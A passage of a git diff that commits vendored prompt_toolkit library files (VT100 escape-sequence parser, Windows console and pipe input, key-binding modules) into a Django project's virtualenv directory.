Urxvt: "Esc[96;14;13M" and for Xterm SGR: "Esc[<64;85;12M" +_mouse_event_re = re.compile("^" + re.escape("\x1b[") + r"( bool: + # (hard coded) If this could be a prefix of a CPR response, return + # True. + if _cpr_response_prefix_re.match(prefix) or _mouse_event_prefix_re.match( + prefix + ): + result = True + else: + # If this could be a prefix of anything else, also return True. + result = any( + v + for k, v in ANSI_SEQUENCES.items() + if k.startswith(prefix) and k != prefix + ) + + self[prefix] = result + return result + + +_IS_PREFIX_OF_LONGER_MATCH_CACHE = _IsPrefixOfLongerMatchCache() + + +class Vt100Parser: + """ + Parser for VT100 input stream. + Data can be fed through the `feed` method and the given callback will be + called with KeyPress objects. + + :: + + def callback(key): + pass + i = Vt100Parser(callback) + i.feed('data\x01...') + + :attr feed_key_callback: Function that will be called when a key is parsed. + """ + + # Lookup table of ANSI escape sequences for a VT100 terminal + # Hint: in order to know what sequences your terminal writes to stdin, run + # "od -c" and start typing. + def __init__(self, feed_key_callback: Callable[[KeyPress], None]) -> None: + self.feed_key_callback = feed_key_callback + self.reset() + + def reset(self, request: bool = False) -> None: + self._in_bracketed_paste = False + self._start_parser() + + def _start_parser(self) -> None: + """ + Start the parser coroutine. + """ + self._input_parser = self._input_parser_generator() + self._input_parser.send(None) # type: ignore + + def _get_match(self, prefix: str) -> Union[None, Keys, Tuple[Keys, ...]]: + """ + Return the key (or keys) that maps to this prefix. + """ + # (hard coded) If we match a CPR response, return Keys.CPRResponse. + # (This one doesn't fit in the ANSI_SEQUENCES, because it contains + # integer variables.) + if _cpr_response_re.match(prefix): + return Keys.CPRResponse + + elif _mouse_event_re.match(prefix): + return Keys.Vt100MouseEvent + + # Otherwise, use the mappings. + try: + return ANSI_SEQUENCES[prefix] + except KeyError: + return None + + def _input_parser_generator(self) -> Generator[None, Union[str, _Flush], None]: + """ + Coroutine (state machine) for the input parser. + """ + prefix = "" + retry = False + flush = False + + while True: + flush = False + + if retry: + retry = False + else: + # Get next character. + c = yield + + if isinstance(c, _Flush): + flush = True + else: + prefix += c + + # If we have some data, check for matches. + if prefix: + is_prefix_of_longer_match = _IS_PREFIX_OF_LONGER_MATCH_CACHE[prefix] + match = self._get_match(prefix) + + # Exact matches found, call handlers.. + if (flush or not is_prefix_of_longer_match) and match: + self._call_handler(match, prefix) + prefix = "" + + # No exact match found. + elif (flush or not is_prefix_of_longer_match) and not match: + found = False + retry = True + + # Loop over the input, try the longest match first and + # shift. + for i in range(len(prefix), 0, -1): + match = self._get_match(prefix[:i]) + if match: + self._call_handler(match, prefix[:i]) + prefix = prefix[i:] + found = True + + if not found: + self._call_handler(prefix[0], prefix[0]) + prefix = prefix[1:] + + def _call_handler( + self, key: Union[str, Keys, Tuple[Keys, ...]], insert_text: str + ) -> None: + """ + Callback to handler. + """ + if isinstance(key, tuple): + # Received ANSI sequence that corresponds with multiple keys + # (probably alt+something). Handle keys individually, but only pass + # data payload to first KeyPress (so that we won't insert it + # multiple times). + for i, k in enumerate(key): + self._call_handler(k, insert_text if i == 0 else "") + else: + if key == Keys.BracketedPaste: + self._in_bracketed_paste = True + self._paste_buffer = "" + else: + self.feed_key_callback(KeyPress(key, insert_text)) + + def feed(self, data: str) -> None: + """ + Feed the input stream. + + :param data: Input string (unicode). + """ + # Handle bracketed paste. (We bypass the parser that matches all other + # key presses and keep reading input until we see the end mark.) + # This is much faster then parsing character by character. + if self._in_bracketed_paste: + self._paste_buffer += data + end_mark = "\x1b[201~" + + if end_mark in self._paste_buffer: + end_index = self._paste_buffer.index(end_mark) + + # Feed content to key bindings. + paste_content = self._paste_buffer[:end_index] + self.feed_key_callback(KeyPress(Keys.BracketedPaste, paste_content)) + + # Quit bracketed paste mode and handle remaining input. + self._in_bracketed_paste = False + remaining = self._paste_buffer[end_index + len(end_mark) :] + self._paste_buffer = "" + + self.feed(remaining) + + # Handle normal input character by character. + else: + for i, c in enumerate(data): + if self._in_bracketed_paste: + # Quit loop and process from this position when the parser + # entered bracketed paste. + self.feed(data[i:]) + break + else: + self._input_parser.send(c) + + def flush(self) -> None: + """ + Flush the buffer of the input stream. + + This will allow us to handle the escape key (or maybe meta) sooner. + The input received by the escape key is actually the same as the first + characters of e.g. Arrow-Up, so without knowing what follows the escape + sequence, we don't know whether escape has been pressed, or whether + it's something else. This flush function should be called after a + timeout, and processes everything that's still in the buffer as-is, so + without assuming any characters will follow. + """ + self._input_parser.send(_Flush()) + + def feed_and_flush(self, data: str) -> None: + """ + Wrapper around ``feed`` and ``flush``. + """ + self.feed(data) + self.flush() diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/input/win32.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/input/win32.py new file mode 100644 index 00000000..db3fa2ba --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/input/win32.py @@ -0,0 +1,757 @@ +import os +import sys +from abc import abstractmethod +from contextlib import contextmanager + +from prompt_toolkit.eventloop import get_event_loop + +from ..utils import SPHINX_AUTODOC_RUNNING + +assert sys.platform == "win32" + +# Do not import win32-specific stuff when generating documentation. +# Otherwise RTD would be unable to generate docs for this module. +if not SPHINX_AUTODOC_RUNNING: + import msvcrt + from ctypes import windll + +from ctypes import Array, pointer +from ctypes.wintypes import DWORD, HANDLE +from typing import ( + Callable, + ContextManager, + Dict, + Iterable, + Iterator, + List, + Optional, + TextIO, +) + +from prompt_toolkit.eventloop import run_in_executor_with_context +from prompt_toolkit.eventloop.win32 import create_win32_event, wait_for_handles +from prompt_toolkit.key_binding.key_processor import KeyPress +from prompt_toolkit.keys import Keys +from prompt_toolkit.mouse_events import MouseButton, MouseEventType +from prompt_toolkit.win32_types import ( + INPUT_RECORD, + KEY_EVENT_RECORD, + MOUSE_EVENT_RECORD, + STD_INPUT_HANDLE, + EventTypes, +) + +from .ansi_escape_sequences import REVERSE_ANSI_SEQUENCES +from .base import Input + +__all__ = [ + "Win32Input", + "ConsoleInputReader", + "raw_mode", + "cooked_mode", + "attach_win32_input", + "detach_win32_input", +] + +# Win32 Constants for MOUSE_EVENT_RECORD. +# See: https://docs.microsoft.com/en-us/windows/console/mouse-event-record-str +FROM_LEFT_1ST_BUTTON_PRESSED = 0x1 +RIGHTMOST_BUTTON_PRESSED = 0x2 +MOUSE_MOVED = 0x0001 +MOUSE_WHEELED = 0x0004 + + +class _Win32InputBase(Input): + """ + Base class for `Win32Input` and `Win32PipeInput`. + """ + + def __init__(self) -> None: + self.win32_handles = _Win32Handles() + + @property + @abstractmethod + def handle(self) -> HANDLE: + pass + + +class Win32Input(_Win32InputBase): + """ + `Input` class that reads from the Windows console. + """ + + def __init__(self, stdin: Optional[TextIO] = None) -> None: + super().__init__() + self.console_input_reader = ConsoleInputReader() + + def attach(self, input_ready_callback: Callable[[], None]) -> ContextManager[None]: + """ + Return a context manager that makes this input active in the current + event loop. + """ + return attach_win32_input(self, input_ready_callback) + + def detach(self) -> ContextManager[None]: + """ + Return a context manager that makes sure that this input is not active + in the current event loop. + """ + return detach_win32_input(self) + + def read_keys(self) -> List[KeyPress]: + return list(self.console_input_reader.read()) + + def flush(self) -> None: + pass + + @property + def closed(self) -> bool: + return False + + def raw_mode(self) -> ContextManager[None]: + return raw_mode() + + def cooked_mode(self) -> ContextManager[None]: + return cooked_mode() + + def fileno(self) -> int: + # The windows console doesn't depend on the file handle, so + # this is not used for the event loop (which uses the + # handle instead). But it's used in `Application.run_system_command` + # which opens a subprocess with a given stdin/stdout. + return sys.stdin.fileno() + + def typeahead_hash(self) -> str: + return "win32-input" + + def close(self) -> None: + self.console_input_reader.close() + + @property + def handle(self) -> HANDLE: + return self.console_input_reader.handle + + +class ConsoleInputReader: + """ + :param recognize_paste: When True, try to discover paste actions and turn + the event into a BracketedPaste. + """ + + # Keys with character data. + mappings = { + b"\x1b": Keys.Escape, + b"\x00": Keys.ControlSpace, # Control-Space (Also for Ctrl-@) + b"\x01": Keys.ControlA, # Control-A (home) + b"\x02": Keys.ControlB, # Control-B (emacs cursor left) + b"\x03": Keys.ControlC, # Control-C (interrupt) + b"\x04": Keys.ControlD, # Control-D (exit) + b"\x05": Keys.ControlE, # Control-E (end) + b"\x06": Keys.ControlF, # Control-F (cursor forward) + b"\x07": Keys.ControlG, # Control-G + b"\x08": Keys.ControlH, # Control-H (8) (Identical to '\b') + b"\x09": Keys.ControlI, # Control-I (9) (Identical to '\t') + b"\x0a": Keys.ControlJ, # Control-J (10) (Identical to '\n') + b"\x0b": Keys.ControlK, # Control-K (delete until end of line; vertical tab) + b"\x0c": Keys.ControlL, # Control-L (clear; form feed) + b"\x0d": Keys.ControlM, # Control-M (enter) + b"\x0e": Keys.ControlN, # Control-N (14) (history forward) + b"\x0f": Keys.ControlO, # Control-O (15) + b"\x10": Keys.ControlP, # Control-P (16) (history back) + b"\x11": Keys.ControlQ, # Control-Q + b"\x12": Keys.ControlR, # Control-R (18) (reverse search) + b"\x13": Keys.ControlS, # Control-S (19) (forward search) + b"\x14": Keys.ControlT, # Control-T + b"\x15": Keys.ControlU, # Control-U + b"\x16": Keys.ControlV, # Control-V + b"\x17": Keys.ControlW, # Control-W + b"\x18": Keys.ControlX, # Control-X + b"\x19": Keys.ControlY, # Control-Y (25) + b"\x1a": Keys.ControlZ, # Control-Z + b"\x1c": Keys.ControlBackslash, # Both Control-\ and Ctrl-| + b"\x1d": Keys.ControlSquareClose, # Control-] + b"\x1e": Keys.ControlCircumflex, # Control-^ + b"\x1f": Keys.ControlUnderscore, # Control-underscore (Also for Ctrl-hyphen.) + b"\x7f": Keys.Backspace, # (127) Backspace (ASCII Delete.) + } + + # Keys that don't carry character data. + keycodes = { + # Home/End + 33: Keys.PageUp, + 34: Keys.PageDown, + 35: Keys.End, + 36: Keys.Home, + # Arrows + 37: Keys.Left, + 38: Keys.Up, + 39: Keys.Right, + 40: Keys.Down, + 45: Keys.Insert, + 46: Keys.Delete, + # F-keys. + 112: Keys.F1, + 113: Keys.F2, + 114: Keys.F3, + 115: Keys.F4, + 116: Keys.F5, + 117: Keys.F6, + 118: Keys.F7, + 119: Keys.F8, + 120: Keys.F9, + 121: Keys.F10, + 122: Keys.F11, + 123: Keys.F12, + } + + LEFT_ALT_PRESSED = 0x0002 + RIGHT_ALT_PRESSED = 0x0001 + SHIFT_PRESSED = 0x0010 + LEFT_CTRL_PRESSED = 0x0008 + RIGHT_CTRL_PRESSED = 0x0004 + + def __init__(self, recognize_paste: bool = True) -> None: + self._fdcon = None + self.recognize_paste = recognize_paste + + # When stdin is a tty, use that handle, otherwise, create a handle from + # CONIN$. + self.handle: HANDLE + if sys.stdin.isatty(): + self.handle = HANDLE(windll.kernel32.GetStdHandle(STD_INPUT_HANDLE)) + else: + self._fdcon = os.open("CONIN$", os.O_RDWR | os.O_BINARY) + self.handle = HANDLE(msvcrt.get_osfhandle(self._fdcon)) + + def close(self) -> None: + "Close fdcon." + if self._fdcon is not None: + os.close(self._fdcon) + + def read(self) -> Iterable[KeyPress]: + """ + Return a list of `KeyPress` instances. It won't return anything when + there was nothing to read. (This function doesn't block.) + + http://msdn.microsoft.com/en-us/library/windows/desktop/ms684961(v=vs.85).aspx + """ + max_count = 2048 # Max events to read at the same time. + + read = DWORD(0) + arrtype = INPUT_RECORD * max_count + input_records = arrtype() + + # Check whether there is some input to read. `ReadConsoleInputW` would + # block otherwise. + # (Actually, the event loop is responsible to make sure that this + # function is only called when there is something to read, but for some + # reason this happened in the asyncio_win32 loop, and it's better to be + # safe anyway.) + if not wait_for_handles([self.handle], timeout=0): + return + + # Get next batch of input event. + windll.kernel32.ReadConsoleInputW( + self.handle, pointer(input_records), max_count, pointer(read) + ) + + # First, get all the keys from the input buffer, in order to determine + # whether we should consider this a paste event or not. + all_keys = list(self._get_keys(read, input_records)) + + # Fill in 'data' for key presses. + all_keys = [self._insert_key_data(key) for key in all_keys] + + # Correct non-bmp characters that are passed as separate surrogate codes + all_keys = list(self._merge_paired_surrogates(all_keys)) + + if self.recognize_paste and self._is_paste(all_keys): + gen = iter(all_keys) + k: Optional[KeyPress] + + for k in gen: + # Pasting: if the current key consists of text or \n, turn it + # into a BracketedPaste. + data = [] + while k and ( + not isinstance(k.key, Keys) + or k.key in {Keys.ControlJ, Keys.ControlM} + ): + data.append(k.data) + try: + k = next(gen) + except StopIteration: + k = None + + if data: + yield KeyPress(Keys.BracketedPaste, "".join(data)) + if k is not None: + yield k + else: + yield from all_keys + + def _insert_key_data(self, key_press: KeyPress) -> KeyPress: + """ + Insert KeyPress data, for vt100 compatibility. + """ + if key_press.data: + return key_press + + if isinstance(key_press.key, Keys): + data = REVERSE_ANSI_SEQUENCES.get(key_press.key, "") + else: + data = "" + + return KeyPress(key_press.key, data) + + def _get_keys( + self, read: DWORD, input_records: "Array[INPUT_RECORD]" + ) -> Iterator[KeyPress]: + """ + Generator that yields `KeyPress` objects from the input records. + """ + for i in range(read.value): + ir = input_records[i] + + # Get the right EventType from the EVENT_RECORD. + # (For some reason the Windows console application 'cmder' + # [http://gooseberrycreative.com/cmder/] can return '0' for + # ir.EventType. -- Just ignore that.) + if ir.EventType in EventTypes: + ev = getattr(ir.Event, EventTypes[ir.EventType]) + + # Process if this is a key event. (We also have mouse, menu and + # focus events.) + if type(ev) == KEY_EVENT_RECORD and ev.KeyDown: + yield from self._event_to_key_presses(ev) + + elif type(ev) == MOUSE_EVENT_RECORD: + yield from self._handle_mouse(ev) + + @staticmethod + def _merge_paired_surrogates(key_presses: List[KeyPress]) -> Iterator[KeyPress]: + """ + Combines consecutive KeyPresses with high and low surrogates into + single characters + """ + buffered_high_surrogate = None + for key in key_presses: + is_text = not isinstance(key.key, Keys) + is_high_surrogate = is_text and "\uD800" <= key.key <= "\uDBFF" + is_low_surrogate = is_text and "\uDC00" <= key.key <= "\uDFFF" + + if buffered_high_surrogate: + if is_low_surrogate: + # convert high surrogate + low surrogate to single character + fullchar = ( + (buffered_high_surrogate.key + key.key) + .encode("utf-16-le", "surrogatepass") + .decode("utf-16-le") + ) + key = KeyPress(fullchar, fullchar) + else: + yield buffered_high_surrogate + buffered_high_surrogate = None + + if is_high_surrogate: + buffered_high_surrogate = key + else: + yield key + + if buffered_high_surrogate: + yield buffered_high_surrogate + + @staticmethod + def _is_paste(keys: List[KeyPress]) -> bool: + """ + Return `True` when we should consider this list of keys as a paste + event. Pasted text on windows will be turned into a + `Keys.BracketedPaste` event. (It's not 100% correct, but it is probably + the best possible way to detect pasting of text and handle that + correctly.) + """ + # Consider paste when it contains at least one newline and at least one + # other character. + text_count = 0 + newline_count = 0 + + for k in keys: + if not isinstance(k.key, Keys): + text_count += 1 + if k.key == Keys.ControlM: + newline_count += 1 + + return newline_count >= 1 and text_count >= 1 + + def _event_to_key_presses(self, ev: KEY_EVENT_RECORD) -> List[KeyPress]: + """ + For this `KEY_EVENT_RECORD`, return a list of `KeyPress` instances. + """ + assert type(ev) == KEY_EVENT_RECORD and ev.KeyDown + + result: Optional[KeyPress] = None + + control_key_state = ev.ControlKeyState + u_char = ev.uChar.UnicodeChar + # Use surrogatepass because u_char may be an unmatched surrogate + ascii_char = u_char.encode("utf-8", "surrogatepass") + + # NOTE: We don't use `ev.uChar.AsciiChar`. That appears to be the + # unicode code point truncated to 1 byte. See also: + # https://github.com/ipython/ipython/issues/10004 + # https://github.com/jonathanslenders/python-prompt-toolkit/issues/389 + + if u_char == "\x00": + if ev.VirtualKeyCode in self.keycodes: + result = KeyPress(self.keycodes[ev.VirtualKeyCode], "") + else: + if ascii_char in self.mappings: + if self.mappings[ascii_char] == Keys.ControlJ: + u_char = ( + "\n" # Windows sends \n, turn into \r for unix compatibility. + ) + result = KeyPress(self.mappings[ascii_char], u_char) + else: + result = KeyPress(u_char, u_char) + + # First we handle Shift-Control-Arrow/Home/End (need to do this first) + if ( + ( + control_key_state & self.LEFT_CTRL_PRESSED + or control_key_state & self.RIGHT_CTRL_PRESSED + ) + and control_key_state & self.SHIFT_PRESSED + and result + ): + mapping: Dict[str, str] = { + Keys.Left: Keys.ControlShiftLeft, + Keys.Right: Keys.ControlShiftRight, + Keys.Up: Keys.ControlShiftUp, + Keys.Down: Keys.ControlShiftDown, + Keys.Home: Keys.ControlShiftHome, + Keys.End: Keys.ControlShiftEnd, + Keys.Insert: Keys.ControlShiftInsert, + Keys.PageUp: Keys.ControlShiftPageUp, + Keys.PageDown: Keys.ControlShiftPageDown, + } + result.key = mapping.get(result.key, result.key) + + # Correctly handle Control-Arrow/Home/End and Control-Insert/Delete keys. + if ( + control_key_state & self.LEFT_CTRL_PRESSED + or control_key_state & self.RIGHT_CTRL_PRESSED + ) and result: + mapping = { + Keys.Left: Keys.ControlLeft, + Keys.Right: Keys.ControlRight, + Keys.Up: Keys.ControlUp, + Keys.Down: Keys.ControlDown, + Keys.Home: Keys.ControlHome, + Keys.End: Keys.ControlEnd, + Keys.Insert: Keys.ControlInsert, + Keys.Delete: Keys.ControlDelete, + Keys.PageUp: Keys.ControlPageUp, + Keys.PageDown: Keys.ControlPageDown, + } + result.key = mapping.get(result.key, result.key) + + # Turn 'Tab' into 'BackTab' when shift was pressed. + # Also handle other shift-key combination + if control_key_state & self.SHIFT_PRESSED and result: + mapping = { + Keys.Tab: Keys.BackTab, + Keys.Left: Keys.ShiftLeft, + Keys.Right: Keys.ShiftRight, + Keys.Up: Keys.ShiftUp, + Keys.Down: Keys.ShiftDown, + Keys.Home: Keys.ShiftHome, + Keys.End: Keys.ShiftEnd, + Keys.Insert: Keys.ShiftInsert, + Keys.Delete: Keys.ShiftDelete, + Keys.PageUp: Keys.ShiftPageUp, + Keys.PageDown: Keys.ShiftPageDown, + } + result.key = mapping.get(result.key, result.key) + + # Turn 'Space' into 'ControlSpace' when control was pressed. + if ( + ( + control_key_state & self.LEFT_CTRL_PRESSED + or control_key_state & self.RIGHT_CTRL_PRESSED + ) + and result + and result.data == " " + ): + result = KeyPress(Keys.ControlSpace, " ") + + # Turn Control-Enter into META-Enter. (On a vt100 terminal, we cannot + # detect this combination. But it's really practical on Windows.) + if ( + ( + control_key_state & self.LEFT_CTRL_PRESSED + or control_key_state & self.RIGHT_CTRL_PRESSED + ) + and result + and result.key == Keys.ControlJ + ): + return [KeyPress(Keys.Escape, ""), result] + + # Return result. If alt was pressed, prefix the result with an + # 'Escape' key, just like unix VT100 terminals do. + + # NOTE: Only replace the left alt with escape. The right alt key often + # acts as altgr and is used in many non US keyboard layouts for + # typing some special characters, like a backslash. We don't want + # all backslashes to be prefixed with escape. (Esc-\ has a + # meaning in E-macs, for instance.) + if result: + meta_pressed = control_key_state & self.LEFT_ALT_PRESSED + + if meta_pressed: + return [KeyPress(Keys.Escape, ""), result] + else: + return [result] + + else: + return [] + + def _handle_mouse(self, ev: MOUSE_EVENT_RECORD) -> List[KeyPress]: + """ + Handle mouse events. Return a list of KeyPress instances. + """ + event_flags = ev.EventFlags + button_state = ev.ButtonState + + event_type: Optional[MouseEventType] = None + button: MouseButton = MouseButton.NONE + + # Scroll events. + if event_flags & MOUSE_WHEELED: + if button_state > 0: + event_type = MouseEventType.SCROLL_UP + else: + event_type = MouseEventType.SCROLL_DOWN + else: + # Handle button state for non-scroll events. + if button_state == FROM_LEFT_1ST_BUTTON_PRESSED: + button = MouseButton.LEFT + + elif button_state == RIGHTMOST_BUTTON_PRESSED: + button = MouseButton.RIGHT + + # Move events. + if event_flags & MOUSE_MOVED: + event_type = MouseEventType.MOUSE_MOVE + + # No key pressed anymore: mouse up. + if event_type is None: + if button_state > 0: + # Some button pressed. + event_type = MouseEventType.MOUSE_DOWN + else: + # No button pressed. + event_type = MouseEventType.MOUSE_UP + + data = ";".join( + [ + button.value, + event_type.value, + str(ev.MousePosition.X), + str(ev.MousePosition.Y), + ] + ) + return [KeyPress(Keys.WindowsMouseEvent, data)] + + +class _Win32Handles: + """ + Utility to keep track of which handles are connectod to which callbacks. + + `add_win32_handle` starts a tiny event loop in another thread which waits + for the Win32 handle to become ready. When this happens, the callback will + be called in the current asyncio event loop using `call_soon_threadsafe`. + + `remove_win32_handle` will stop this tiny event loop. + + NOTE: We use this technique, so that we don't have to use the + `ProactorEventLoop` on Windows and we can wait for things like stdin + in a `SelectorEventLoop`. This is important, because our inputhook + mechanism (used by IPython), only works with the `SelectorEventLoop`. + """ + + def __init__(self) -> None: + self._handle_callbacks: Dict[int, Callable[[], None]] = {} + + # Windows Events that are triggered when we have to stop watching this + # handle. + self._remove_events: Dict[int, HANDLE] = {} + + def add_win32_handle(self, handle: HANDLE, callback: Callable[[], None]) -> None: + """ + Add a Win32 handle to the event loop. + """ + handle_value = handle.value + + if handle_value is None: + raise ValueError("Invalid handle.") + + # Make sure to remove a previous registered handler first. + self.remove_win32_handle(handle) + + loop = get_event_loop() + self._handle_callbacks[handle_value] = callback + + # Create remove event. + remove_event = create_win32_event() + self._remove_events[handle_value] = remove_event + + # Add reader. + def ready() -> None: + # Tell the callback that input's ready. + try: + callback() + finally: + run_in_executor_with_context(wait, loop=loop) + + # Wait for the input to become ready. + # (Use an executor for this, the Windows asyncio event loop doesn't + # allow us to wait for handles like stdin.) + def wait() -> None: + # Wait until either the handle becomes ready, or the remove event + # has been set. + result = wait_for_handles([remove_event, handle]) + + if result is remove_event: + windll.kernel32.CloseHandle(remove_event) + return + else: + loop.call_soon_threadsafe(ready) + + run_in_executor_with_context(wait, loop=loop) + + def remove_win32_handle(self, handle: HANDLE) -> Optional[Callable[[], None]]: + """ + Remove a Win32 handle from the event loop. + Return either the registered handler or `None`. + """ + if handle.value is None: + return None # Ignore. + + # Trigger remove events, so that the reader knows to stop. + try: + event = self._remove_events.pop(handle.value) + except KeyError: + pass + else: + windll.kernel32.SetEvent(event) + + try: + return self._handle_callbacks.pop(handle.value) + except KeyError: + return None + + +@contextmanager +def attach_win32_input( + input: _Win32InputBase, callback: Callable[[], None] +) -> Iterator[None]: + """ + Context manager that makes this input active in the current event loop. + + :param input: :class:`~prompt_toolkit.input.Input` object. + :param input_ready_callback: Called when the input is ready to read. + """ + win32_handles = input.win32_handles + handle = input.handle + + if handle.value is None: + raise ValueError("Invalid handle.") + + # Add reader. + previous_callback = win32_handles.remove_win32_handle(handle) + win32_handles.add_win32_handle(handle, callback) + + try: + yield + finally: + win32_handles.remove_win32_handle(handle) + + if previous_callback: + win32_handles.add_win32_handle(handle, previous_callback) + + +@contextmanager +def detach_win32_input(input: _Win32InputBase) -> Iterator[None]: + win32_handles = input.win32_handles + handle = input.handle + + if handle.value is None: + raise ValueError("Invalid handle.") + + previous_callback = win32_handles.remove_win32_handle(handle) + + try: + yield + finally: + if previous_callback: + win32_handles.add_win32_handle(handle, previous_callback) + + +class raw_mode: + """ + :: + + with raw_mode(stdin): + ''' the windows terminal is now in 'raw' mode. ''' + + The ``fileno`` attribute is ignored. This is to be compatible with the + `raw_input` method of `.vt100_input`. + """ + + def __init__(self, fileno: Optional[int] = None) -> None: + self.handle = HANDLE(windll.kernel32.GetStdHandle(STD_INPUT_HANDLE)) + + def __enter__(self) -> None: + # Remember original mode. + original_mode = DWORD() + windll.kernel32.GetConsoleMode(self.handle, pointer(original_mode)) + self.original_mode = original_mode + + self._patch() + + def _patch(self) -> None: + # Set raw + ENABLE_ECHO_INPUT = 0x0004 + ENABLE_LINE_INPUT = 0x0002 + ENABLE_PROCESSED_INPUT = 0x0001 + + windll.kernel32.SetConsoleMode( + self.handle, + self.original_mode.value + & ~(ENABLE_ECHO_INPUT | ENABLE_LINE_INPUT | ENABLE_PROCESSED_INPUT), + ) + + def __exit__(self, *a: object) -> None: + # Restore original mode + windll.kernel32.SetConsoleMode(self.handle, self.original_mode) + + +class cooked_mode(raw_mode): + """ + :: + + with cooked_mode(stdin): + ''' The pseudo-terminal stdin is now used in cooked mode. ''' + """ + + def _patch(self) -> None: + # Set cooked. + ENABLE_ECHO_INPUT = 0x0004 + ENABLE_LINE_INPUT = 0x0002 + ENABLE_PROCESSED_INPUT = 0x0001 + + windll.kernel32.SetConsoleMode( + self.handle, + self.original_mode.value + | (ENABLE_ECHO_INPUT | ENABLE_LINE_INPUT | ENABLE_PROCESSED_INPUT), + ) diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/input/win32_pipe.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/input/win32_pipe.py new file mode 100644 index 00000000..ebee2075 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/input/win32_pipe.py @@ -0,0 +1,154 @@ +import sys + +assert sys.platform == "win32" + +from contextlib import contextmanager +from ctypes import windll +from ctypes.wintypes import HANDLE +from typing import Callable, ContextManager, Iterator, List + +from prompt_toolkit.eventloop.win32 import create_win32_event + +from ..key_binding import KeyPress +from ..utils import DummyContext +from .base import PipeInput +from .vt100_parser import Vt100Parser +from .win32 import _Win32InputBase, attach_win32_input, detach_win32_input + +__all__ = ["Win32PipeInput"] + + +class Win32PipeInput(_Win32InputBase, PipeInput): + """ + This is an input pipe that works on Windows. + Text or bytes can be feed into the pipe, and key strokes can be read from + the pipe. This is useful if we want to send the input programmatically into + the application. Mostly useful for unit testing. + + Notice that even though it's Windows, we use vt100 escape sequences over + the pipe. + + Usage:: + + input = Win32PipeInput() + input.send_text('inputdata') + """ + + _id = 0 + + def __init__(self, _event: HANDLE) -> None: + super().__init__() + # Event (handle) for registering this input in the event loop. + # This event is set when there is data available to read from the pipe. + # Note: We use this approach instead of using a regular pipe, like + # returned from `os.pipe()`, because making such a regular pipe + # non-blocking is tricky and this works really well. + self._event = create_win32_event() + + self._closed = False + + # Parser for incoming keys. + self._buffer: List[KeyPress] = [] # Buffer to collect the Key objects. + self.vt100_parser = Vt100Parser(lambda key: self._buffer.append(key)) + + # Identifier for every PipeInput for the hash. + self.__class__._id += 1 + self._id = self.__class__._id + + @classmethod + @contextmanager + def create(cls) -> Iterator["Win32PipeInput"]: + event = create_win32_event() + try: + yield Win32PipeInput(_event=event) + finally: + windll.kernel32.CloseHandle(event) + + @property + def closed(self) -> bool: + return self._closed + + def fileno(self) -> int: + """ + The windows pipe doesn't depend on the file handle. + """ + raise NotImplementedError + + @property + def handle(self) -> HANDLE: + "The handle used for registering this pipe in the event loop." + return self._event + + def attach(self, input_ready_callback: Callable[[], None]) -> ContextManager[None]: + """ + Return a context manager that makes this input active in the current + event loop. + """ + return attach_win32_input(self, input_ready_callback) + + def detach(self) -> ContextManager[None]: + """ + Return a context manager that makes sure that this input is not active + in the current event loop. + """ + return detach_win32_input(self) + + def read_keys(self) -> List[KeyPress]: + "Read list of KeyPress." + + # Return result. + result = self._buffer + self._buffer = [] + + # Reset event. + if not self._closed: + # (If closed, the event should not reset.) + windll.kernel32.ResetEvent(self._event) + + return result + + def flush_keys(self) -> List[KeyPress]: + """ + Flush pending keys and return them. + (Used for flushing the 'escape' key.) + """ + # Flush all pending keys. (This is most important to flush the vt100 + # 'Escape' key early when nothing else follows.) + self.vt100_parser.flush() + + # Return result. + result = self._buffer + self._buffer = [] + return result + + def send_bytes(self, data: bytes) -> None: + "Send bytes to the input." + self.send_text(data.decode("utf-8", "ignore")) + + def send_text(self, text: str) -> None: + "Send text to the input." + if self._closed: + raise ValueError("Attempt to write into a closed pipe.") + + # Pass it through our vt100 parser. + self.vt100_parser.feed(text) + + # Set event. + windll.kernel32.SetEvent(self._event) + + def raw_mode(self) -> ContextManager[None]: + return DummyContext() + + def cooked_mode(self) -> ContextManager[None]: + return DummyContext() + + def close(self) -> None: + "Close write-end of the pipe." + self._closed = True + windll.kernel32.SetEvent(self._event) + + def typeahead_hash(self) -> str: + """ + This needs to be unique for every `PipeInput`. + """ + return f"pipe-input-{self._id}" diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/key_binding/__init__.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/key_binding/__init__.py new file mode 100644 index 00000000..be105369 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/key_binding/__init__.py @@ -0,0 +1,20 @@ +from .key_bindings import ( + ConditionalKeyBindings, + DynamicKeyBindings, + KeyBindings, + KeyBindingsBase, + merge_key_bindings, +) +from .key_processor import KeyPress, KeyPressEvent + +__all__ = [ + # key_bindings. + "ConditionalKeyBindings", + "DynamicKeyBindings", + "KeyBindings", + "KeyBindingsBase", + "merge_key_bindings", + # key_processor + "KeyPress", + "KeyPressEvent", +] diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/key_binding/bindings/__init__.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/key_binding/bindings/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/key_binding/bindings/auto_suggest.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/key_binding/bindings/auto_suggest.py new file mode 100644 index 00000000..c016c068 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/key_binding/bindings/auto_suggest.py @@ -0,0 +1,63 @@ +""" +Key bindings for auto suggestion (for fish-style auto suggestion). +""" +import re + +from prompt_toolkit.application.current import get_app +from prompt_toolkit.filters import Condition, emacs_mode +from prompt_toolkit.key_binding.key_bindings import KeyBindings +from prompt_toolkit.key_binding.key_processor import KeyPressEvent + +__all__ = [ + "load_auto_suggest_bindings", +] + +E = KeyPressEvent + + +def load_auto_suggest_bindings() -> KeyBindings: + """ + Key bindings for accepting auto suggestion text. + + (This has to come after the Vi bindings, because they also have an + implementation for the "right arrow", but we really want the suggestion + binding when a suggestion is available.) + """ + key_bindings = KeyBindings() + handle = key_bindings.add + + @Condition + def suggestion_available() -> bool: + app = get_app() + return ( + app.current_buffer.suggestion is not None + and len(app.current_buffer.suggestion.text) > 0 + and 